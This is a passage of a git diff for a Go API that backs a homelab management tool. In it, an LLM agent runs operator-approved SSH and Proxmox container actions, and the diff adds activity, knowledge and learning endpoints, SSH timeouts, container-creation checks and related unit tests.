DATABASE_URL: postgres://oikos:${OIKOS_DB_PASSWORD:-oikos_dev}@postgres:5432/oikos?sslmode=disable
ports:
- "8092:8092"

View File

@@ -0,0 +1,215 @@
package httpapi
import (
"encoding/json"
"log/slog"
"net/http"
"strconv"
"strings"
"github.com/go-chi/chi/v5"
)
// activityItem is one row in the global activity feed — a human-readable
// projection of an execution, independent of the paginated/alphabetically-
// sorted ListExecutions (which orders by target slug for entity-scoped
// browsing, not recency — wrong shape for "what just happened").
type activityItem struct {
ID string `json:"id"`
Target string `json:"target"`
Verb string `json:"verb"` // e.g. "run", "pct_create", "systemctl"
Summary string `json:"summary"` // human-readable: the command, or purpose, or action detail
RiskClass string `json:"risk_class"`
Status string `json:"status"`
DurationMs *int `json:"duration_ms"`
Error string `json:"error,omitempty"`
CreatedAt string `json:"created_at"`
CompletedAt *string `json:"completed_at"`
}
// splitAction parses the "verb:params" encoding used throughout executions.action
// (see internal/mcp/server.go) into a verb and a human-readable summary. For
// `run`, params is JSON {command, purpose} — show the purpose if present
// (it's written for a human), falling back to the raw command. For other
// actions (pct_create, systemctl, apt_upgrade, pct_exec), params is either a
// JSON blob or a short flag string — truncate either as a fallback summary.
func splitAction(action string) (verb, summary string) {
idx := strings.IndexByte(action, ':')
if idx < 0 {
return action, ""
}
verb, params := action[:idx], action[idx+1:]
if verb == "run" {
var p struct {
Command string `json:"command"`
Purpose string `json:"purpose"`
}
if json.Unmarshal([]byte(params), &p) == nil {
if p.Purpose != "" {
return verb, p.Purpose
}
return verb, p.Command
}
}
if verb == "pct_create" {
var p struct {
Hostname string `json:"hostname"`
}
if json.Unmarshal([]byte(params), &p) == nil && p.Hostname != "" {
return verb, "provision " + p.Hostname
}
}
if len(params) > 140 {
params = params[:140] + "…"
}
return verb, params
}
// serveRecentActivity backs the Operations page's live activity feed — the
// global "what is the system doing / what did it just do" view, recency-
// ordered (unlike ListExecutions, which sorts by target for pagination).
// Custom route, same shape/rationale as serveRecentKnowledge.
func (s *Server) serveRecentActivity(w http.ResponseWriter, req *http.Request) {
ctx := req.Context()
limit := 50
if l := req.URL.Query().Get("limit"); l != "" {
if n, err := strconv.Atoi(l); err == nil && n > 0 && n <= 200 {
limit = n
}
}
rows, err := s.pool.Query(ctx, `
SELECT e.entity_id, te.slug, e.action, e.risk_class, e.status,
e.duration_ms, e.result, e.created_at::text, e.completed_at::text
FROM executions e
JOIN entities te ON te.id = e.target_entity_id
ORDER BY e.created_at DESC
LIMIT $1`, limit)
if err != nil {
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
return
}
defer rows.Close()
items := []activityItem{}
for rows.Next() {
var it activityItem
var action string
var resultBytes []byte
var completedAt *string
if err := rows.Scan(&it.ID, &it.Target, &action, &it.RiskClass, &it.Status,
&it.DurationMs, &resultBytes, &it.CreatedAt, &completedAt); err != nil {
slog.Error("httpapi: activity/recent row scan failed", "error", err)
continue
}
it.Verb, it.Summary = splitAction(action)
it.CompletedAt = completedAt
if len(resultBytes) > 0 {
var result map[string]any
if json.Unmarshal(resultBytes, &result) == nil {
if e, ok := result["error"].(string); ok && e != "" {
if len(e) > 200 {
e = e[:200] + "…"
}
it.Error = e
}
}
}
items = append(items, it)
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"items": items})
}
// sessionDigestItem summarizes one execution for the session digest.
type sessionDigestItem struct {
Target string `json:"target"`
Verb string `json:"verb"`
Summary string `json:"summary"`
RiskClass string `json:"risk_class"`
Status string `json:"status"`
}
// serveSessionDigest answers "what did THIS chat session actually do" —
// commands run (grouped by outcome), distinct entities touched, and knowledge
// written during the session's time window. Uses nomos_plan_executions (the
// session<->execution link added for auto-continuation) as the source of
// truth for which executions belong to this session; knowledge correlation is
// a best-effort time-window match since knowledge_entities has no session_id.
func (s *Server) serveSessionDigest(w http.ResponseWriter, req *http.Request) {
ctx := req.Context()
sessionID := chi.URLParam(req, "id")
if sessionID == "" {
writeProblem(w, req, http.StatusBadRequest, "missing session id", "")
return
}
rows, err := s.pool.Query(ctx, `
SELECT te.slug, e.action, e.risk_class, e.status
FROM nomos_plan_executions l
JOIN executions e ON e.entity_id = l.execution_id
JOIN entities te ON te.id = e.target_entity_id
WHERE l.session_id = $1
ORDER BY e.created_at`, sessionID)
if err != nil {
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
return
}
defer rows.Close()
items := []sessionDigestItem{}
byStatus := map[string]int{}
targets := map[string]bool{}
for rows.Next() {
var it sessionDigestItem
var action string
if err := rows.Scan(&it.Target, &action, &it.RiskClass, &it.Status); err != nil {
continue
}
it.Verb, it.Summary = splitAction(action)
items = append(items, it)
byStatus[it.Status]++
targets[it.Target] = true
}
entityList := make([]string, 0, len(targets))
for t := range targets {
entityList = append(entityList, t)
}
// Best-effort knowledge correlation: notes the agent wrote during this
// session's active window. Not exact (no session_id on knowledge_entities)
// but close enough to show "you learned N things in this session".
var knowledgeTitles []string
krows, err := s.pool.Query(ctx, `
SELECT ke.title FROM knowledge_entities ke
WHERE ke.source = 'nomos-agent'
AND ke.updated_at BETWEEN
(SELECT COALESCE(MIN(created_at), now()) FROM agent_messages WHERE session_id = $1)
AND
(SELECT COALESCE(MAX(created_at), now()) + interval '2 minutes' FROM agent_messages WHERE session_id = $1)
ORDER BY ke.updated_at`, sessionID)
if err == nil {
defer krows.Close()
for krows.Next() {
var t string
if krows.Scan(&t) == nil {
knowledgeTitles = append(knowledgeTitles, t)
}
}
}
if knowledgeTitles == nil {
knowledgeTitles = []string{}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"session_id": sessionID,
"total_executions": len(items),
"by_status": byStatus,
"entities_touched": entityList,
"executions": items,
"knowledge_created": knowledgeTitles,
})
}

View File

@@ -2,10 +2,110 @@ package httpapi
import (
"context"
"encoding/json"
"log/slog"
"net/http"
"strconv"
"github.com/dtoro/oikos/internal/httpapi/gen"
)
// serveRecentKnowledge backs the Knowledge page's "what the system knows / has
// learned" view (a custom route, not part of the generated OpenAPI surface).
// It returns recency-ordered knowledge with a small stats header so the
// operator can literally watch the knowledge base grow — especially the notes
// Nomos writes itself via upsert_knowledge (source='nomos-agent'), which is
// the concrete evidence of "the system is getting better." Optional ?source=
// and ?limit= query params.
func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request) {
ctx := req.Context()
limit := 50
if l := req.URL.Query().Get("limit"); l != "" {
if n, err := strconv.Atoi(l); err == nil && n > 0 && n <= 200 {
limit = n
}
}
source := req.URL.Query().Get("source") // "" = all, "nomos-agent" = agent-authored only
type item struct {
Slug string `json:"slug"`
Title string `json:"title"`
Kind string `json:"kind"`
Source string `json:"source"`
Tags []string `json:"tags"`
UpdatedAt string `json:"updated_at"`
AgentAuthored bool `json:"agent_authored"`
}
// updated_at is cast to text in SQL — pgx v5 can't scan a timestamptz
// directly into a Go string (needs time.Time or an explicit cast), and
// that scan error was being silently swallowed below (every row skipped,
// endpoint returned 200 with an empty list and correct-looking stats
// since the stats query doesn't scan any timestamp column — found live).
rows, err := s.pool.Query(ctx, `
SELECT e.slug, ke.title, e.type, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
FROM knowledge_entities ke
JOIN entities e ON e.id = ke.entity_id
WHERE ($1 = '' OR ke.source = $1)
ORDER BY ke.updated_at DESC
LIMIT $2`, source, limit)
if err != nil {
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
return
}
defer rows.Close()
items := []item{}
for rows.Next() {
var it item
var src string
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &src, &it.Tags, &it.UpdatedAt); err != nil {
slog.Error("httpapi: knowledge/recent row scan failed", "error", err)
continue
}
it.Source = src
it.AgentAuthored = src == "nomos-agent"
if it.Tags == nil {
it.Tags = []string{}
}
items = append(items, it)
}
// Stats header: total, by kind, agent-authored, and how many changed in the
// last 7 days (the "still learning" signal).
var total, agentAuthored, last7d int
byKind := map[string]int{}
srows, err := s.pool.Query(ctx, `
SELECT e.type, COUNT(*),
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
GROUP BY e.type`)
if err == nil {
defer srows.Close()
for srows.Next() {
var kind string
var c, a, l int
if srows.Scan(&kind, &c, &a, &l) == nil {
byKind[kind] = c
total += c
agentAuthored += a
last7d += l
}
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{
"stats": map[string]any{
"total": total,
"by_kind": byKind,
"agent_authored": agentAuthored,
"last_7d": last7d,
},
"items": items,
})
}
func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledgeRequestObject) (gen.SearchKnowledgeResponseObject, error) {
q := request.Params.Q
limit := clampLimit(request.Params.Limit)

View File

@@ -0,0 +1,129 @@
package httpapi
import (
"encoding/json"
"log/slog"
"net/http"
"sort"
)
// capabilityTimelineItem summarizes one verb's track record — when the
// agent first succeeded at it, and how reliable it's been since. Derived
// directly from executions (which has real, growing data) rather than the
// patterns/skills tables, which are correctly modeled but have zero writers
// anywhere in the codebase today — building against them now would ship a
// permanently empty page. See plans/2026-07-10-general-gated-execution.md
// step 8 evaluation.
type capabilityTimelineItem struct {
Verb string `json:"verb"`
FirstSuccess *string `json:"first_success"`
Successes int `json:"successes"`
Total int `json:"total"`
}
// serveLearningTimeline backs the Learning page's capability timeline: one
// row per distinct verb (parsed via splitAction, same helper the activity
// feed uses), ordered by when it first succeeded — an honest "the system
// learned to do X" signal without depending on the unpopulated patterns
// table.
func (s *Server) serveLearningTimeline(w http.ResponseWriter, req *http.Request) {
ctx := req.Context()
rows, err := s.pool.Query(ctx, `
SELECT action, status, created_at::text
FROM executions
ORDER BY created_at`)
if err != nil {
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
return
}
defer rows.Close()
type agg struct {
firstSuccess *string
successes int
total int
}
byVerb := map[string]*agg{}
for rows.Next() {
var action, status, createdAt string
if err := rows.Scan(&action, &status, &createdAt); err != nil {
slog.Error("httpapi: learning/timeline row scan failed", "error", err)
continue
}
verb, _ := splitAction(action)
a, ok := byVerb[verb]
if !ok {
a = &agg{}
byVerb[verb] = a
}
a.total++
if status == "completed" {
a.successes++
if a.firstSuccess == nil {
ca := createdAt
a.firstSuccess = &ca
}
}
}
items := make([]capabilityTimelineItem, 0, len(byVerb))
for verb, a := range byVerb {
items = append(items, capabilityTimelineItem{
Verb: verb, FirstSuccess: a.firstSuccess, Successes: a.successes, Total: a.total,
})
}
// Verbs with at least one success sort by when that first happened;
// verbs that have never succeeded sort last (nothing to celebrate yet).
sort.Slice(items, func(i, j int) bool {
fi, fj := items[i].FirstSuccess, items[j].FirstSuccess
if fi == nil {
return false
}
if fj == nil {
return true
}
return *fi < *fj
})
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"items": items})
}
type trendBucket struct {
Day string `json:"day"`
Successes int `json:"successes"`
Failures int `json:"failures"`
}
// serveLearningTrend backs the Learning page's 30-day success/fail trend
// chart — a daily bucket of execution outcomes, straight off the executions
// table.
func (s *Server) serveLearningTrend(w http.ResponseWriter, req *http.Request) {
ctx := req.Context()
rows, err := s.pool.Query(ctx, `
SELECT date_trunc('day', created_at)::date::text AS day,
COUNT(*) FILTER (WHERE status = 'completed') AS successes,
COUNT(*) FILTER (WHERE status = 'failed') AS failures
FROM executions
WHERE created_at > now() - interval '30 days'
GROUP BY day
ORDER BY day`)
if err != nil {
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
return
}
defer rows.Close()
items := []trendBucket{}
for rows.Next() {
var b trendBucket
if err := rows.Scan(&b.Day, &b.Successes, &b.Failures); err != nil {
slog.Error("httpapi: learning/trend row scan failed", "error", err)
continue
}
items = append(items, b)
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"items": items})
}

View File

@@ -0,0 +1,119 @@
package httpapi
import (
"encoding/json"
"testing"
)
// TestFlexBoolUnmarshal covers the exact production failure: the LLM emitted
// `"privileged":0` / `"nesting":1` (numbers) and the strict bool field made the
// already-approved pct_create execution fail to parse, so the LXC was never
// created.
func TestFlexBoolUnmarshal(t *testing.T) {
type cfg struct {
Privileged flexBool `json:"privileged"`
Nesting flexBool `json:"nesting"`
}
cases := []struct {
in string
privileged bool
nesting bool
wantErr bool
}{
{`{"privileged":0,"nesting":1}`, false, true, false}, // the prod payload
{`{"privileged":false,"nesting":true}`, false, true, false}, // canonical
{`{"privileged":"1","nesting":"0"}`, true, false, false}, // stringified
{`{"privileged":"true","nesting":"no"}`, true, false, false},
{`{}`, false, false, false}, // absent → zero
{`{"privileged":"maybe"}`, false, false, true},
}
for _, c := range cases {
var out cfg
err := json.Unmarshal([]byte(c.in), &out)
if (err != nil) != c.wantErr {
t.Fatalf("%s: err=%v wantErr=%v", c.in, err, c.wantErr)
}
if c.wantErr {
continue
}
if bool(out.Privileged) != c.privileged || bool(out.Nesting) != c.nesting {
t.Errorf("%s: got priv=%v nest=%v want priv=%v nest=%v",
c.in, bool(out.Privileged), bool(out.Nesting), c.privileged, c.nesting)
}
}
}
func TestResolveTemplate(t *testing.T) {
avail := []string{
"debian-12-standard_12.7-1_amd64.tar.zst",
"debian-13-standard_13.0-1_amd64.tar.zst",
"ubuntu-24.04-standard_24.04-2_amd64.tar.zst",
}
cases := []struct {
requested string
want string
}{
{"debian-13-standard_13.0-1_amd64.tar.zst", "debian-13-standard_13.0-1_amd64.tar.zst"}, // exact
{"debian-13", "debian-13-standard_13.0-1_amd64.tar.zst"}, // prefix
{"", "debian-13-standard_13.0-1_amd64.tar.zst"}, // auto newest debian
{"debian-99", "debian-13-standard_13.0-1_amd64.tar.zst"}, // miss prefix → auto debian
}
for _, c := range cases {
if got := resolveTemplate(c.requested, avail); got != c.want {
t.Errorf("resolveTemplate(%q): got %q want %q", c.requested, got, c.want)
}
}
if got := resolveTemplate("debian-13", nil); got != "" {
t.Errorf("empty cache should yield empty, got %q", got)
}
}
// TestJSONErrValidForNastyOutput guards the bug where command output with
// quotes/backslashes/newlines produced invalid JSON, failing the ::jsonb cast
// and silently dropping the execution's final status update.
func TestJSONErrValidForNastyOutput(t *testing.T) {
nasty := "CT 132 already exists on node \"hubris\"\n\tpath C:\\x\r\n\x00 100%"
for _, payload := range [][]byte{
jsonErr("%s", nasty),
jsonErr("list templates on %s: %s", "host:strong", nasty),
} {
var m map[string]any
if err := json.Unmarshal(payload, &m); err != nil {
t.Fatalf("jsonErr produced invalid JSON: %v\npayload=%s", err, payload)
}
if _, ok := m["error"]; !ok {
t.Errorf("missing error key: %s", payload)
}
}
}
// TestGatewayPreflightPassed guards the exact bug found live: "UNREACHABLE"
// contains "REACHABLE" as a substring, so a strings.Contains(out,"REACHABLE")
// check is true for BOTH outcomes and can never fail. Exact-match only.
func TestGatewayPreflightPassed(t *testing.T) {
cases := []struct {
out string
want bool
}{
{"PREFLIGHT_OK", true},
{"PREFLIGHT_OK\n", true},
{" PREFLIGHT_OK ", true},
{"PREFLIGHT_FAIL", false},
{"PREFLIGHT_FAIL\n", false},
{"", false},
{"some garbage output", false},
// the specific historical bug: a naive substring check on the old
// REACHABLE/UNREACHABLE markers would have called this true.
{"UNREACHABLE", false},
}
for _, c := range cases {
if got := gatewayPreflightPassed(c.out); got != c.want {
t.Errorf("gatewayPreflightPassed(%q) = %v, want %v", c.out, got, c.want)
}
}
}
// provisionScript and sanitizePkgs were removed when pct_create was made
// atomic (create + start + register only) — installing packages and running
// setup scripts is now the agent's own job via follow-up `run` calls, which
// already has its own classifier/sanitization tests in internal/policy.

View File

@@ -3,11 +3,13 @@ package httpapi
import (
"context"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"log/slog"
"os"
"strconv"
"strings"
"time"
@@ -16,6 +18,7 @@ import (
"github.com/dtoro/oikos/internal/domain"
"github.com/dtoro/oikos/internal/httpapi/gen"
"github.com/dtoro/oikos/internal/observability"
"github.com/dtoro/oikos/internal/safego"
"github.com/google/uuid"
"github.com/jackc/pgx/v5"
"github.com/jackc/pgx/v5/pgtype"
@@ -27,6 +30,26 @@ var (
_sshKey []byte
)
// flexBool accepts a JSON bool, number (0/1), or string ("true"/"1"/"yes").
// LLMs routinely emit `"privileged": 0` instead of `false`; a strict `bool`
// field made the approved pct_create execution fail to parse *after* the
// operator had already approved it — the container was never created and the
// operator saw "queued" with no result. This type tolerates the common shapes.
type flexBool bool
func (b *flexBool) UnmarshalJSON(data []byte) error {
s := strings.TrimSpace(strings.Trim(string(data), `"`))
switch strings.ToLower(s) {
case "true", "1", "yes", "on":
*b = true
case "false", "0", "no", "off", "", "null":
*b = false
default:
return fmt.Errorf("cannot parse %q as bool", s)
}
return nil
}
func initSSH() {
if _sshUser == "" {
_sshUser = os.Getenv("OIKOS_SSH_USER")
@@ -47,6 +70,14 @@ func initSSH() {
}
}
// sshExecTimeout bounds how long a single remote command may run. Without
// this, a hung remote command (e.g. a piped install script stuck retrying
// DNS against a misconfigured gateway) blocks the executing goroutine
// forever: the execution never leaves 'approved'/'running', the operator
// sees an unkillable spinner, and get_execution_status has nothing new to
// report. Generous enough for a real apt/docker install; not infinite.
const sshExecTimeout = 10 * time.Minute
func sshExec(ctx context.Context, host, user, command string) (string, error) {
initSSH()
if len(_sshKey) == 0 {
@@ -81,11 +112,51 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
}
defer session.Close()
out, err := session.CombinedOutput(command)
if err != nil && out == nil {
return "", fmt.Errorf("exec: %w", err)
type result struct {
out []byte
err error
}
done := make(chan result, 1)
go func() {
// See internal/mcp/server.go's sshExec for why this recovers rather
// than letting a rare SSH-library panic crash the whole api process.
defer func() {
if r := recover(); r != nil {
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
}
}()
out, err := session.CombinedOutput(command)
done <- result{out, err}
}()
select {
case r := <-done:
text := strings.TrimSpace(string(r.out))
// A non-zero exit MUST surface as an error. The previous guard only
// errored when there was no output, so a `pct create` that printed
// "CT 132 already exists" and exited non-zero was reported as
// success — the execution was marked completed though nothing was
// provisioned.
if r.err != nil {
if text != "" {
return text, fmt.Errorf("%w: %s", r.err, text)
}
return text, fmt.Errorf("exec: %w", r.err)
}
return text, nil
case <-time.After(sshExecTimeout):
// Close the session/client to hang up the remote side; the
// goroutine above will eventually exit once that unblocks
// CombinedOutput, but we don't wait for it — the caller needs an
// answer now, not an indefinite hang.
session.Close()
client.Close()
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
case <-ctx.Done():
session.Close()
client.Close()
return "", ctx.Err()
}
return strings.TrimSpace(string(out)), nil
}
func resolveHostSSH(ctx context.Context, pool *db.Pool, entitySlug string) (string, string, error) {
@@ -120,6 +191,44 @@ func resolveHostSSH(ctx context.Context, pool *db.Pool, entitySlug string) (stri
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
}
// resolveRunTarget mirrors internal/mcp.resolveExecTarget for the approved-
// execution side: any target slug (host: or lxc:) resolves to the SSH
// endpoint that runs the command plus a wrap function that turns a plain
// shell command into what actually needs to be sent — identity for a host,
// `pct exec <pve_id>` for an LXC. Kept as a small duplicate rather than a
// cross-package import to avoid coupling httpapi to mcp for one helper.
func resolveRunTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(string) string, err error) {
if strings.HasPrefix(targetSlug, "host:") {
host, user, err = resolveHostSSH(ctx, pool, targetSlug)
return host, user, func(cmd string) string { return cmd }, err
}
if strings.HasPrefix(targetSlug, "lxc:") {
var pveID, hostAttr string
// COALESCE the host column: many older LXC entities (seeded from
// inventory, not provisioned by pct_create) have pve_id but no host
// attribute at all. Scanning a SQL NULL into a plain string errors
// the whole row, wrongly reporting "missing pve_id" even when it was
// present — COALESCE avoids the NULL, "" is handled below.
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
}
hostSlug := hostAttr
if hostSlug == "" {
hostSlug = "hubris"
}
if !strings.HasPrefix(hostSlug, "host:") {
hostSlug = "host:" + hostSlug
}
host, user, err = resolveHostSSH(ctx, pool, hostSlug)
id := pveID
return host, user, func(cmd string) string {
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
}, err
}
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug> or lxc:<slug>", targetSlug)
}
// executeApprovedAction runs a gated action after operator approval.
// Runs in a background goroutine to not block the HTTP response.
// emitExecutionEvent records an execution lifecycle event for SSE fan-out so
@@ -130,29 +239,52 @@ func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, st
severity = "warning"
}
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
if status == "completed" || status == "failed" || status == "cancelled" {
closePlanStepForExecution(ctx, pool, execID, status)
}
}
// closePlanStepForExecution auto-closes a task plan step whose linked execution
// just reached a terminal state, so the task board advances even if the agent
// doesn't call update_plan_step itself (belt and suspenders — the agent links
// the step to the execution when it starts it; the api finishes it here). Emits
// plan.step.finished correlated to the step's session. No-op for the vast
// majority of executions, which aren't plan steps.
func closePlanStepForExecution(ctx context.Context, pool *db.Pool, execID uuid.UUID, execStatus string) {
stepStatus := "done"
if execStatus == "failed" || execStatus == "cancelled" {
stepStatus = "failed"
}
var stepID, sessionID string
var seq int
if err := pool.QueryRow(ctx, `
UPDATE session_plan_steps SET status = $2, finished_at = now()
WHERE execution_id = $1 AND status NOT IN ('done', 'failed', 'skipped')
RETURNING id::text, session_id::text, seq`, execID, stepStatus).Scan(&stepID, &sessionID, &seq); err != nil {
return // no matching open step
}
_ = observability.Event(ctx, sqlcgen.New(pool), "plan.step.finished", &execID, "info", "actuator", sessionID,
map[string]any{"step_id": stepID, "seq": seq, "status": stepStatus, "execution_id": execID.String()})
}
func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID, targetSlug string, actionStr string) {
slog.Info("httpapi: executing approved action", "execution_id", execID, "target", targetSlug, "action", actionStr)
host, user, err := resolveHostSSH(ctx, pool, targetSlug)
host, user, wrap, err := resolveRunTarget(ctx, pool, targetSlug)
if err != nil {
slog.Error("httpapi: resolve host for approved execution", "error", err, "target", targetSlug)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, fmt.Sprintf(`{"error":"%s"}`, err.Error()))
execID, jsonErr("%s", err.Error()))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
return
}
parts := strings.SplitN(actionStr, ":", 3)
if len(parts) < 2 {
slog.Error("httpapi: malformed action string", "action", actionStr)
idx := strings.Index(actionStr, ":")
if idx < 0 {
slog.Error("httpapi: malformed action string (no colon)", "action", actionStr)
return
}
action, params := parts[0], parts[1]
if len(parts) == 3 {
params = parts[1] + ":" + parts[2]
}
action, params := actionStr[:idx], actionStr[idx+1:]
startedAt := time.Now()
var output, cmd string
@@ -177,25 +309,312 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
output, err = sshExec(ctx, host, user, cmd)
case "pct_create":
var cfg struct {
VMID int `json:"vmid"`
Hostname string `json:"hostname"`
Cores int `json:"cores"`
Memory int `json:"memory"`
DiskGB int `json:"disk_gb"`
IP string `json:"ip"`
GW string `json:"gw"`
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
Storage string `json:"storage"`
Template string `json:"template"`
Privileged flexBool `json:"privileged"`
Nesting flexBool `json:"nesting"`
Mounts []string `json:"mounts"`
Nameserver string `json:"nameserver"`
Searchdomain string `json:"searchdomain"`
// No services/post_install here anymore — pct_create is atomic
// (create + start + register only). Installing packages and
// running setup scripts is the agent's job via follow-up `run`
// calls against lxc:<hostname>, so each step is individually
// observable and recoverable instead of one opaque multi-minute
// black box. See the comment above the removed post-create block.
}
if err := json.Unmarshal([]byte(params), &cfg); err != nil {
slog.Error("httpapi: pct_create parse params", "error", err, "params", params)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("invalid pct_create params: %v", err))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
return
}
// Only hostname is required. vmid is optional — when 0 (or later found
// to collide) the VMID guard below assigns a free cluster id.
if cfg.Hostname == "" {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, `{"error":"pct_create: hostname is required"}`)
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": "missing hostname"})
return
}
if cfg.Cores == 0 {
cfg.Cores = 1
}
if cfg.Memory == 0 {
cfg.Memory = 512
}
if cfg.DiskGB == 0 {
cfg.DiskGB = 8
}
if cfg.Storage == "" {
cfg.Storage = "local-lvm"
}
if cfg.GW == "" {
cfg.GW = "192.168.8.2"
}
if cfg.Nameserver == "" {
cfg.Nameserver = "192.168.8.2"
}
if cfg.Searchdomain == "" {
cfg.Searchdomain = "hubris.network"
}
// Template pre-flight: resolve against what the host actually has
// cached. A hardcoded name (e.g. debian-13) fails opaquely with a raw
// `pct` error when that exact file isn't present. List the cache, then
// either validate the requested template or auto-pick the newest
// debian one; on miss, fail early with the available list so the
// operator/agent can retry with a real name.
cacheList, tplErr := sshExec(ctx, host, user, "ls -1 /var/lib/vz/template/cache/ 2>/dev/null | grep -E '\\.tar\\.(zst|gz|xz)$' || true")
available := []string{}
for _, l := range strings.Split(strings.TrimSpace(cacheList), "\n") {
if l = strings.TrimSpace(l); l != "" {
available = append(available, l)
}
}
if tplErr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("list templates on %s: %s", targetSlug, tplErr.Error()))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": tplErr.Error()})
return
}
cfg.Template = resolveTemplate(cfg.Template, available)
if cfg.Template == "" {
msg := fmt.Sprintf("no usable LXC template on %s. Available: %v", targetSlug, available)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("%s", msg))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
return
}
// VMID collision guard. Proxmox VMIDs are cluster-wide, so the model's
// guess (e.g. 132) can collide with a container on another node — pct
// create then fails with "CT N already exists on node X". Fetch the set
// of in-use VMIDs across the cluster; if the requested id is taken (or
// absent), fall back to the cluster's next free id so provisioning
// still succeeds instead of dead-ending on the operator's approval.
usedRaw, _ := sshExec(ctx, host, user, `pvesh get /cluster/resources --type vm --output-format json 2>/dev/null | grep -o '"vmid":[0-9]*' | grep -o '[0-9]*' || true`)
used := map[int]bool{}
for _, l := range strings.Fields(usedRaw) {
if n, e := strconv.Atoi(strings.TrimSpace(l)); e == nil {
used[n] = true
}
}
if cfg.VMID == 0 || used[cfg.VMID] {
nextRaw, nerr := sshExec(ctx, host, user, `pvesh get /cluster/nextid 2>/dev/null`)
nextID, cerr := strconv.Atoi(strings.TrimSpace(nextRaw))
if nerr != nil || cerr != nil || nextID == 0 {
msg := fmt.Sprintf("VMID %d is already in use on the cluster and could not resolve a free id", cfg.VMID)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("%s", msg))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
return
}
slog.Info("httpapi: pct_create VMID reassigned", "requested", cfg.VMID, "assigned", nextID)
cfg.VMID = nextID
}
privFlag := "--unprivileged 1"
if cfg.Privileged {
privFlag = "--unprivileged 0"
}
nestingFlag := ""
features := []string{}
if cfg.Nesting {
features = append(features, "nesting=1")
}
if cfg.Privileged {
features = append(features, "keyctl=1")
}
if len(features) > 0 {
nestingFlag = fmt.Sprintf(" --features %s", strings.Join(features, ","))
}
if cfg.Bridge == "" {
cfg.Bridge = "vmbr0"
}
// net0: DHCP when no static IP is given (or ip=="dhcp"). Proxmox
// rejects a gateway alongside ip=dhcp, so only add gw for a static IP.
net0 := "name=eth0,bridge=" + cfg.Bridge + ","
isStatic := cfg.IP != "" && !strings.EqualFold(cfg.IP, "dhcp")
if !isStatic {
net0 += "ip=dhcp"
} else {
net0 += "ip=" + cfg.IP
if cfg.GW != "" {
net0 += ",gw=" + cfg.GW
}
}
// Pre-flight: for a static config, ping the gateway from the target
// HOST, on the SPECIFIC BRIDGE being requested, before spending 5+
// minutes creating the container. This is the check that would have
// caught the real TypeType failure immediately instead of after a
// full provision attempt.
//
// Binding to the bridge (`ping -I <bridge>`) matters and was found
// live: a plain unqualified `ping <gw>` from the host can succeed via
// the host's own routing table (multiple routes, possibly through an
// upstream router) even when the *container* — which only gets a
// naive on-link default route via its bridge's veth — can never ARP
// that gateway at all. Confirmed on `strong`: bare `ping 192.168.8.2`
// succeeded (via the host's default route), but a container actually
// attached to vmbr0 showed 100% packet loss trying to reach the same
// address, because vmbr0 doesn't carry that subnet's L2 segment.
// Binding to the bridge interface reproduces what the container will
// actually experience, not what the host's broader routing table can
